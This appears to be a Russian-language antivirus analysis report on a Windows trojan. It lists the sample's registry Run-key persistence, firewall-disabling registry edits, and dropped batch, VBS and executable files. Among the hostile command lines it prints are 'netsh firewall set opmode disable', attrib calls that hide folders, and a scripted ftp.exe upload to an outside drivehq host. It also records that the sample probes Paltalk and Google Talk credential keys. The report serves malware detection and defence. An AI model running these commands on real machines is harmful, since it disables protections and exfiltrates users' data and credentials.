Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'stat2' = '%ALLUSERSPROFILE%\Msn\Msn2\aatd.bat'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'stat' = '%ALLUSERSPROFILE%\Msn\Msn2\aatd.bat'
Вредоносные функции:
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DoNotAllowExceptions' = '00000000'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
Создает и запускает на исполнение:
- 'C:\users\public\Public Document\msnd.exe'
- 'C:\users\public\Public Document\picture viewer.exe' wmsn.klm
- 'C:\users\public\Public Document\image.exe' msn.klm
Запускает на исполнение:
- '<SYSTEM32>\attrib.exe' +r +a +s +h "%ALLUSERSPROFILE%\Msn"
- '<SYSTEM32>\netsh.exe' firewall set opmode disable
- '<SYSTEM32>\attrib.exe' +r +a +s +h "%ALLUSERSPROFILE%\Msn\Msn2"
- '<SYSTEM32>\ftp.exe' -i -v -s:bms.klm ftp.drivehq.com
- '<SYSTEM32>\attrib.exe' +r +a +s +h "C:\users\public\public document"
- '<SYSTEM32>\cmd.exe' /c ""C:\users\public\Public Document\ictd.bat" "
- '<SYSTEM32>\wscript.exe' "C:\users\public\Public Document\sad.vbs"
- '%WINDIR%\regedit.exe' /s "cond.reg"
- '<SYSTEM32>\xcopy.exe' /h /e /r /k /c /q /y *.* "%ALLUSERSPROFILE%\Msn\Msn2"
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\shell32.dll,OpenAs_RunDLL C:\users\public\Public Document\pid.PDF
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами:
- [<HKCU>\Software\Paltalk]
- [<HKCU>\Software\Google\Google Talk\Accounts]
Изменения в файловой системе:
Создает следующие файлы:
- %ALLUSERSPROFILE%\Msn\Msn2\ictd.bat
- %ALLUSERSPROFILE%\Msn\Msn2\ied.bat
- %ALLUSERSPROFILE%\Msn\Msn2\iewed.bat
- %ALLUSERSPROFILE%\Msn\Msn2\icd.bat
- %ALLUSERSPROFILE%\Msn\Msn2\bms.klm
- %ALLUSERSPROFILE%\Msn\Msn2\cond.reg
- %ALLUSERSPROFILE%\Msn\Msn2\dd.vbs
- %ALLUSERSPROFILE%\Msn\Msn2\image.exe
- %ALLUSERSPROFILE%\Msn\Msn2\sad.vbs
- C:\users\public\Public Document\msn.klm
- C:\users\public\Public Document\wmsn.klm
- %ALLUSERSPROFILE%\Msn\Msn2\pid.PDF
- %ALLUSERSPROFILE%\Msn\Msn2\keeprun.ini
- %ALLUSERSPROFILE%\Msn\Msn2\msnd.exe
- %ALLUSERSPROFILE%\Msn\Msn2\picture viewer.exe
- C:\users\public\Public Document\keeprun.ini
- C:\users\public\Public Document\image.exe
- C:\users\public\Public Document\iewed.bat
- C:\users\public\Public Document\msnd.exe
- C:\users\public\Public Document\sad.vbs
- C:\users\public\Public Document\pid.PDF
- C:\users\public\Public Document\picture viewer.exe
- C:\users\public\Public Document\ied.bat
- C:\users\public\Public Document\bms.klm
- C:\users\public\Public Document\aatd.bat
- %ALLUSERSPROFILE%\Msn\Msn2\aatd.bat
- C:\users\public\Public Document\cond.reg
- C:\users\public\Public Document\ictd.bat
- C:\users\public\Public Document\icd.bat
- C:\users\public\Public Document\dd.vbs
Перемещает следующие файлы:
- C:\users\public\Public Document\wmsn.klm в C:\users\public\Public Document\PIC_201422Tu_ _1717520 .015
- C:\users\public\Public Document\msn.klm в C:\users\public\Public Document\PIC_201422Tu_ _1717520 .014
Сетевая активность:
Подключается к:
- 'localhost':1040
- 'ft#.#rivehq.com':21
UDP:
- DNS ASK ft#.#rivehq.com
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'Indicator' WindowName: '(null)'
- ClassName: 'RegEdit_RegEdit' WindowName: '(null)'
